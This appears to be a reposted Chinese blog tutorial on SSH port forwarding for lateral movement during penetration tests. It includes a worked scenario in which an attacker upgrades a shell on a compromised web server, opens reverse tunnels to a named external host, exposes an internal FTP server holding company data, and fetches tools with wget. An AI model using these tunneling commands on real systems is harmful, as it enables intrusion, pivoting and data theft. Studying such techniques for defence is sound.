内网渗透中SSh的巧用ring04h

简介:

 在渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。

由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

 

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用)

如果想要了解更多关于SSH的细节,可以 man ssh ,或参照ssh的DOC.

实例:
——————————————————————————
当骇客A从互联网入侵了RISUN企业的一台服务器,机器名称为 GBOSS_WEB
GBOSS_WEB 信息:
外网IP:255.25.55.111
内网IP:10.168.0.10
网络架构方式为,路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。

骇客A通过利用80端口开放服务的WEB脚本漏洞,成功继承到GBOSS_WEB的httpd权限,然后通过perl或者其它语言创建SOCKET 获得一个远程sh shell。由于back回来的shell可能不稳定,或者使用起来不方便,可以采用SSH建立一个隧道,将GBOSS_WEB服务器上的22端口映射至 骇客的本机上(本文章用于演示的骇客机为0x.cn);

通过得到的sh shell,执行 $python -c ‘import pty; pty.spawn(”/bin/sh”)’ 获得一个ttyshell(因为ssh想要tty的支持),然后通过如下命令,映射GBOSS_WEB服务器的22端口至202.65.208.142的 44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。

骇客A通过利用操作系统系统提升权限至ROOT,再继续渗透过程中,发现内网还存在另外一台名称为GBOSS_APP的服务器。
GBOSS_APP 信息:
内网IP:10.168.0.20

骇客通过嗅探获取了GBOSS_APP服务器的FTP信息,GBOSS_APP服务器FTP保存有RISUN企业的核心数据,由于数据量庞大,需要FTP续传功能,可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

当骇客成功root掉内网中另一网段中的服务器BILL_APP时,需要从外网下载一些工具,由于内部访问控制策略,BILL_APP无法连接网, 此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口,然后通过GBOSS_WEB建立的隧道,下载所需工具。
在GBOSS_WEB服务器上执行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通过建立隧道后,在BILL_APP上执行 wget http://10.168.0.10:8888/thepl 等同于访http://202.65.208.142/thepl

本文详细的概述了如何建立隧道的过程,以及相关参数的使用方法,各位懂的高手可以直接飘过。
本文中骇客所使用的地址为真实IP,对应域名:http://0x.cn 欢迎无聊的骇客们破坏。(SSH有个隐藏的密码,很容易的…)










本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/551083,如需转载请自行联系原作者

相关文章
|
关系型数据库 MySQL 网络安全
mysql只能通过ssh通道连接到内网,如何创建只能访问MySQL的SSH用户
mysql只能通过ssh通道连接到内网,如何创建只能访问MySQL的SSH用户
404 0
|
4月前
|
安全 Linux Shell
【内网—内网转发】——代理转发_SSH代理转发
【内网—内网转发】——代理转发_SSH代理转发
232 5
|
6月前
|
存储 安全 Unix
【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取
【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取
|
6月前
|
网络协议 安全 Linux
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
101 0
|
7月前
|
网络协议 关系型数据库 Linux
无需公网IP,在家SSH远程连接公司内网服务器「cpolar内网穿透」
本次教程我们来实现如何在外公网环境下,SSH远程连接家里/公司的Linux CentOS服务器,无需公网IP,也不需要设置路由器。
405 0
|
域名解析 网络协议 安全
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
994 0
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
|
Linux 网络安全
frp centos 系统穿透内网提供web和ssh服务
通过frp来实现内网穿透,可以远程公司或家中的服务器,同时可以提供web服务器。这里对这一顿操作进行一个简简单单的介绍和记录... 调试了一个晚上了。
frp centos 系统穿透内网提供web和ssh服务
|
Web App开发 Shell 网络安全
基于SSH隧道+chrome插件SwitchyOmega访问内网机器
背景:客户的服务在线下IDC,访问服务器通过VPN连接到IDC,但VPN连接后只放行了特性端口比如80,服务器部署了grafana系统之后不想与现有的80共用一个端口。比如grafana应用监听除80之外的3000端口,在不通过客户邮件申请其他端口的情况下,是否有其他办法呢?本文基于SH隧道+chrome插件SwitchyOmega访问IDC的3000端口画了架构图便于理解,如下图所示正常访问路线A,但由于防火墙的限制无法访问除允许的端口,所以我们想通过阿里云的服务器做ssh隧道(阿里云与IDC机器通过专线连接,端口未做限制),也就是图中的线路B。
7353 0
|
Web App开发 物联网 网络安全
在外网ssh登录内网设备,不再需要内网穿透了
总所周知,如果家里安装了 home assistant,要想在外面登录树莓派就必须做内网穿透。 首先你得有一个 DDNS 这样才能让你通过一个固定的域名访问到家里的路由器;然后要把电信路由器拨号改为自己的路由器拨号这样才能控制“路由”;再然后要在路由器上设置端口映射,将树莓派的22端口映射成比如8022之类的公开端口;做完这些恭喜你,终于可以在外网登录树莓派了。不过与
3150 1
|
网络安全
SSH通过SSH代理连接到内网机器
要解决的问题? 需要解决的问题:https://q.cnblogs.com/q/105319/ 简单来说就是本地机器通过一台公网机器SSH到公网机器后面的私网机器。 网络环境如下图:本地机器可访问代理机器,代理机器可访问内网机器,本地机器和内网机器不互通 操作步骤: 1.实现本地机器到代理机器的SSH连接。
2066 0